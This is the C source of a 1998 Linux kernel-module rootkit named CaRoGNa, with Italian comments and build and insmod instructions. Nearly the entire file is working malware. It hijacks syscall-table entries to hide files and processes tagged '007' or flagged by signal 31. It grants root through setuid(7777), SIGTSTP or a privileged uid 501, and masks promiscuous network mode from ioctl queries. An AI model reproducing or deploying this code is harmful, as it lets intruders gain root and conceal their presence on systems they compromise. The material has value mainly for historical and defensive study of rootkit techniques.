/*
 * CaRoGNa.c			Implementazione del modulo CaRoGNa.
 *				Per maggiori informazioni leggete gli
 *				articoli relativi al progetto CaRoNTe sui
 * 				numeri 3 e 4 di BFI, prelevabile da
 *				http://softpj98.bkk.org/bfi/
 *				Tecnica Segreta n.1 della divina scuola
 *				dell' HOKUHACKO. Sacro Colpo del Modulo
 *				che Travolge la Radice. 
 *
 *
 *				assolutamente NO (C)1998 FuSyS
 *
 * NOTA: questo modulo e' il frutto del divertimento e della curiosita', 
 *	 della ricerca della conoscenza sulla via dell' HackerDom. Ogni	 
 *	 utilizzo non corrispondente a queste idee e' VIVAMENTE SCONSIGLIATO.
 *	 Questo codice richiede piu' furbizia, impegno e lavoro da parte
 *	 del solito ragazzino pieno di scriptz, warez, ed 3l337n355 =:?  
 *	 man brain per favore. :)
 *
 * Compilate con: 	gcc -c -O2 -fomit-frame-pointer CaRoGNa.c
 * Installate con:	insmod CaRoGNa.o
 * 
 * 3l33t quote: 	"wow, e funzica anche su Solaris ?"  
 *
 * Thanks:		HalfLife, Zarq, Plaguez
 */

#define MODULE			
#define __KERNEL__
#include <linux/module.h>

#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/types.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#include <asm/unistd.h>

#define SUBVISUS	"007"	
#define SIGNIHIL        31
#define FL_DISAPPEAR    0x70000000
#define SACROUID        7777
#define KING            501
#define	OPENFILE	6666

#undef fsuser()
#define fsuser()	((current->fsuid==0)||(current->fsuid==KING))

inline int suser(void)
{
        if ((current->euid == 0)||(current->euid == KING)) {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}

int promisc;

int (*old_kill) (pid_t, int) ;
int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ;
int (*old_setuid) (uid_t) ;
int (*old_chmod) (const char*, mode_t) ;
int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ;
int (*old_open) (const char *, int, mode_t) ;

extern void *sys_call_table[] ;

int atoi(char str[])
{
    int res = 0;
    int i ;
    for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
	res = 10 * res + str[i] - '0';
    return res;
}

/* /usr/src/linux/fs/proc/array.c */
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
        if (p->pid == pid)
            return p;
        p = p->next_task;
    }
    while (p != current);
        return NULL;
}

/* /usr/src/linux/fs/proc/array.c */
static inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n') {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

int secret(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *name;
    if (task) {
        name = (char *)kmalloc(200, GFP_KERNEL);
        memset(name, 0, 200);
        task_name(task, name);
        if (strstr(name, SUBVISUS)!=NULL) {
            kfree(name);
            return 1;
        }
    }
    return 0;
}

int killinv(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *name;
    if(task == NULL) return 0;
    if (task->flags & FL_DISAPPEAR) {
        return 1;
    }
    return 0;
}

int new_getdents
(unsigned int fd, struct dirent *dirptr, unsigned int count)
{
    unsigned int real ;		
    unsigned int len ;		
				  
    int readen ;		
    int proc ;			

    struct dirent *dirptr2, *dirptr3;	
    struct inode *procinode;	

    real = (*old_getdents) (fd, dirptr, count);

#ifdef __LINUX_DCACHE_H
    procinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    procinode = current->files->fd[fd]->f_inode;
#endif
    if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) &&
    MINOR(procinode->i_dev) == 1)		proc = 1;

    if (real > 0) {	

	dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL);
        memcpy_fromfs(dirptr2, dirptr, real);
        dirptr3 = dirptr2;
        readen = real;
         while (readen > 0) {
            len = dirptr3->d_reclen;
            readen -= len;
            if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
	       || (proc && secret(atoi(dirptr3->d_name))) 
	       || (proc && killinv(atoi(dirptr3->d_name)))) { 

               if (readen != 0)
                memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);

               else  dirptr3->d_off = 1024;

                real -= len;
            }
            if (dirptr3->d_reclen == 0) {
                real -= readen;
                readen = 0;
            }
            if (readen != 0)
            dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
        }
        memcpy_tofs(dirptr, dirptr2, real);
        kfree(dirptr2);
    }
    return real;
}

int new_kill(pid_t pid, int sig)
{
        int real;
        int errno;
        struct task_struct *task = get_task(pid);

        if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {
                real = (*old_kill)(pid, sig);
                if (real == -1) return(-errno);
                return real;
        }
	if (sig == SIGNIHIL) { 
        	task->flags |= FL_DISAPPEAR;
        	return(0);
	}
	else if (sig == SIGTSTP) {
		task->uid = task->gid = task->euid = task->egid = 0;
        	return(real);
	}
}

int new_setuid(uid_t uid)
{
        int tmp;        
        if (uid == SACROUID) {
                current->uid = 0;               
                current->gid = 0;               
                current->euid = 0;              
                current->egid = 0;              
                return 0;
        } else if (uid == OPENFILE) {
		current->euid = OPENFILE;
		return 0;
	}

        tmp = (*old_setuid) (uid) ;
        return tmp;
}

int new_chmod(const char *filename, mode_t mode)
{
        int ret ;
        if (current->uid == KING) {
          current->uid=current->gid=current->fsuid=current->fsgid=0;
          ret = (*old_chmod) (filename, mode);
          current->uid=current->gid=current->fsuid=current->fsgid=KING;
          return ret;
        } else ret = (*old_chmod) (filename, mode);
        return ret;
}

int new_ioctl
(unsigned int fd, unsigned int cmd, unsigned long arg)
{
        int ret ;
        struct ifreq netif ;

        ret = (*old_ioctl) (fd, cmd, arg);
        if (cmd == SIOCGIFFLAGS && !promisc) {
          memcpy_fromfs((struct ifreq *)&netif, (struct ifreq *)arg,
	  sizeof(struct ifreq));                
	  netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
          memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &netif,
	  sizeof(struct ifreq));        
	} else if (cmd == SIOCSIFFLAGS)
                sys_call_table[SYS_ioctl] = old_ioctl;
        return ret ;
}

int new_open(const char *pathname, int flags, mode_t mode)
{
        int ret;
        if (current->euid == OPENFILE) {
          current->uid=current->gid=current->fsuid=current->fsgid = 0;
          ret = (*old_open) (pathname, flags, mode);
          current->uid=current->gid=current->fsuid=current->fsgid=OPENFILE;
                return ret;
        }
        else ret = (*old_open) (pathname, flags, mode);
        return ret;
}

int init_module(void)
{
     /*	register struct module *mp asm("%ebp");
    	*(char *) (mp->name) = 0;
    	mp->size = 0;
    	mp->ref = 0;		*/

     	register_symtab(NULL);

	old_getdents = sys_call_table[SYS_getdents];
	sys_call_table[SYS_getdents] = (void *) new_getdents;
	old_kill = sys_call_table[SYS_kill];
        sys_call_table[SYS_kill] = (void *) new_kill;
	old_setuid = sys_call_table[SYS_setuid];
        sys_call_table[SYS_setuid] = (void *) new_setuid;
	old_chmod = sys_call_table[SYS_chmod];
	sys_call_table[SYS_chmod] = (void *) new_chmod;
	old_ioctl = sys_call_table[SYS_ioctl];
        sys_call_table[SYS_ioctl] = (void *) new_ioctl;
	old_open = sys_call_table[SYS_open];
        sys_call_table[SYS_open] = (void *) new_open;
	return 0 ;
}

int cleanup_module(void)
{
	sys_call_table[SYS_getdents] = old_getdents;
	sys_call_table[SYS_kill] = old_kill;
	sys_call_table[SYS_setuid] = old_setuid;
	sys_call_table[SYS_chmod] = old_chmod;
	sys_call_table[SYS_ioctl] = old_ioctl;
	sys_call_table[SYS_open] = old_open;
}
